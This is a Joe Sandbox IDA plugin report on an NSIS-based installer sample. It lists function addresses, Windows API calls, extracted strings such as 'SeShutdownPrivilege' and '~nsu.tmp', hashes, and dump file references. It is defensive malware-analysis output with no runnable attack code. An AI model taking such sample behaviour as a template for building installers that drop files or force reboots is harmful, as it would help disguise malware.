Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

~nsu.tmp, xrefs: 00403B23
\Temp, xrefs: 00403A47
NCRC, xrefs: 004039A8
_?=, xrefs: 00403A90
NSIS Error, xrefs: 0040390E
/D=, xrefs: 004039D2
Error launching installer, xrefs: 00403AA9
SeShutdownPrivilege, xrefs: 00403C42

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Call: %d, xrefs: 0040165A
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
detailprint: %s, xrefs: 00401679
Jump: %d, xrefs: 00401602
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename failed: %s, xrefs: 0040194B
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Rename: %s, xrefs: 004018F8
SetFileAttributes failed., xrefs: 004017A1
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Sleep(%d), xrefs: 0040169D
Rename on reboot: %s, xrefs: 00401943

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

_Nb, xrefs: 00405AFD
RichEd32, xrefs: 00405BD4
"F, xrefs: 00405A4B
.DEFAULT\Control Panel\International, xrefs: 004059C5
RichEdit, xrefs: 00405BF0
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
.exe, xrefs: 00405A69
@jG, xrefs: 00405AF2
RichEdit20A, xrefs: 00405BE2, 00405BE7
F, xrefs: 00405A22
RichEd20, xrefs: 00405BC9

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,759223A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: error, user abort, xrefs: 00401B53

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 0040337F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00426979,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

pAB, xrefs: 004033AB
... %d%%, xrefs: 004034C8
yiB, xrefs: 0040346F, 0040348A, 00403513
y)B, xrefs: 00403458, 0040346A
(]C, xrefs: 004033FD

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$y)B$yiB
API String ID: 651206458-3313267460
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

soft, xrefs: 004036A1
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
Error launching installer, xrefs: 00403603
Null, xrefs: 004036AA
Inst, xrefs: 00403698

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00426979,759223A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

